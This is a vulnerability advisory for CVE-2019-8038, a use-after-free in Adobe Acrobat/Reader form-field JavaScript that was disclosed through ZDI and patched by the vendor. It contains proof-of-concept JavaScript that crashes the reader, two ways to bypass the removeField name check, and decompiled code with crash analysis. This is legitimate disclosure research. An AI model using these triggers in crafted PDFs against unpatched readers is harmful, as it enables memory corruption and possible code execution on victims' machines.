CVE: CVE-2019-8038
Tested Versions:
- Adobe Acrobat and Reader versions 2019.012.20035 and earlier
Product URL(s):
Description of the vulnerability
Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). The basic Acrobat Reader, available for several desktop and mobile platforms, is freeware; it supports viewing, printing and annotating of PDF files. The commercial proprietary Acrobat, available for Microsoft Windows and macOS only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files.
There is an use-after-free bug when Adobe Reader/Acrobat DC executes JavaScript relating to form fields.
The idea is to have a Document.Field
object freed (in a callback) when it is in use.
We start off with some code that attempts to do this:
var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); // Create a field object
a = {}
t = this
a.toString = function() {
t.removeField("Field") // Try to free the field object
return "$"
}
// When Format event happens AFNumber_Format is called.
// Its fith argument accepts string so `a.toString` is called.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');
undefined
NotAllowedError: Security settings prevent access to this property or method.
Doc.removeField:6:Field Field:Format
We see that NotAllowedError
exception is raised, indicating that there are some checks inside this.removeField
.
Nevertheless, this code does seem to work partially.
var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2 = this.addField("Field2", "text", 0, [0+100, 0, 100+100, 100]); //Create the second field
a = {}
t = this
a.toString = function() {
t.removeField("Field2") //Instead of remove "Field" we remove "Field2"
return "$"
}
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');
The second field is successfully removed. My conclusion is that the check inside this.removeField
is based on field’s name. This led me to my final test.
var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2 = this.addField("textField", "text", 0 , [20+200, 100, 100+200, 20]); //Create the second field
i = 0
a = {}
t = this
a.toString = function() {
f2.value = 444 //We trigger "textField" Format event
return "$"
}
f2.setAction("Format", "i+=1; if (i==2) t.removeField('Field')") //Remove "Field" here.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');
When page heap is enabled the code above will crash Adobe Reader DC. The program tries to access an freed CTextField object.
Vulnerability Analysis
In the native implementation of document.removeField at AcroForm.api+0x021A043
there is a check to prevent deleting a Field in the middle of a Format event. The check is at AcroForm.api+0x021A1AA
:
event_object = (*(int (**)(void))(dword_B195C0 + 0x18C))(); // try to get the event object
if ( event_object ) //event_object is not null we are inside the callback process further
{
event_target = (*(int (__cdecl **)(int, signed int))(dword_B195C0 + 0x244))(event_object, 1); //get target property of event_object
if ( event_target )
{
v12 = sub_5EDA0(&v38, event_target);
LOBYTE(v50) = 1;
v13 = (_DWORD *)sub_5F037(v12, (int)&v37, (int)"name");// event.target.name
LOBYTE(v50) = 2;
sub_615B4(v13, (int)&v39);
LOBYTE(v50) = 3;
sub_F0B2C(v42, (int)&v39);
sub_5FE58(&v39);
sub_5FEBB(&v37);
LOBYTE(v50) = 7;
sub_5FE58(&v38);
v24 = (_BYTE *)(&word_2 + 1);
sub_287485(v42, (int)&v18);
sub_215473(&v49, v18, v19, v20, v21, v22, v23, (int)v24);
LOBYTE(v50) = 8;
if ( z_wrapper_strcmp(&v49, v9) ) //perform the strcmp
{
v24 = 0;
v23 = 11;
v22 = a3;
v21 = a2;
v20 = a1;
v14 = (*(int (__cdecl **)(int, int, int, signed int, _DWORD))(dword_B195C0 + 0x160))(a1, a2, a3, 11, 0);// raise exception
LOBYTE(v50) = 9;
if ( v49 )
sub_52DF4(v49);
sub_5FE58(v42);
v50 = 10;
goto LABEL_24;
}
LOBYTE(v50) = 11;
if ( v49 )
sub_52DF4(v49);
LOBYTE(v50) = 0;
sub_5FE58(v42);
}
}
The check is naively assumes that if event.target.name
is different from the first argument passed to document.removeField
which is the name of fields we want to remove, then it is safe to process further.
There are two ways to bypass this check. The first is to change event.target
by triggering another event callback inside the current event callback like the PoC above or just reassigning event.target
with another object that has a different name.
var f = this.addField("Field", "text", 0, [0, 0, 55, 50]);
f2 = this.addField("zxc", "text", 0, [0+100, 0, 55+100, 50]);
f.setAction("Format",'event.target=f2; t.removeField("Field")'); //reassign event.target with f2 that has different name
The second way is using Form Field Hierarchies.
The crash happens at AcroForm+0x031F2E6
. EDI
register point to a memory region whose first pointer point to AcroForm+0x06CFC34
which is CTextWidget::vftable
:
.rdata:006CFC34 ; const CTextWidget::`vftable'
.rdata:006CFC34 ??_7CTextWidget@@6B@ dd offset sub_10E5D0
.rdata:006CFC34 ; DATA XREF: sub_10A251+24↑o
.rdata:006CFC38 dd offset sub_321B0D
.rdata:006CFC3C dd offset sub_3225EF
.rdata:006CFC40 dd offset sub_322552
.rdata:006CFC44 dd offset sub_32A620
.rdata:006CFC48 dd offset sub_1D0A6A
.rdata:006CFC4C dd offset hb_set_invert
.rdata:006CFC50 dd offset sub_3288F5
.rdata:006CFC54 dd offset sub_327A41
.rdata:006CFC58 dd offset sub_329BC1
.rdata:006CFC5C dd offset sub_2D9C64
.rdata:006CFC60 dd offset sub_3224B8
.rdata:006CFC64 dd offset sub_3212A8
.rdata:006CFC68 dd offset sub_3271A2
.rdata:006CFC6C dd offset sub_321C5E
.rdata:006CFC70 dd offset sub_321CFF
.rdata:006CFC74 dd offset sub_109E47
.rdata:006CFC78 dd offset sub_3271E8
.rdata:006CFC7C dd offset sub_708A0
.rdata:006CFC80 dd offset sub_10E664
.rdata:006CFC84 dd offset sub_32718B
EDI
is a this
pointer that points to a CTextWidget
object which is freed when removeField
is called.
With proper memory manipulation this bug can be turned into code execution inside sandbox context.
Timeline:
- 2019-06-20 Vulnerability reported to vendor via ZDI
- 2019-08-19 Coordinated public release of advisory
Vendor Response
The vendor has acknowledged the issue and released an update to address it.
This issue is covered in the vendor’s Security bulletin APSB19-41.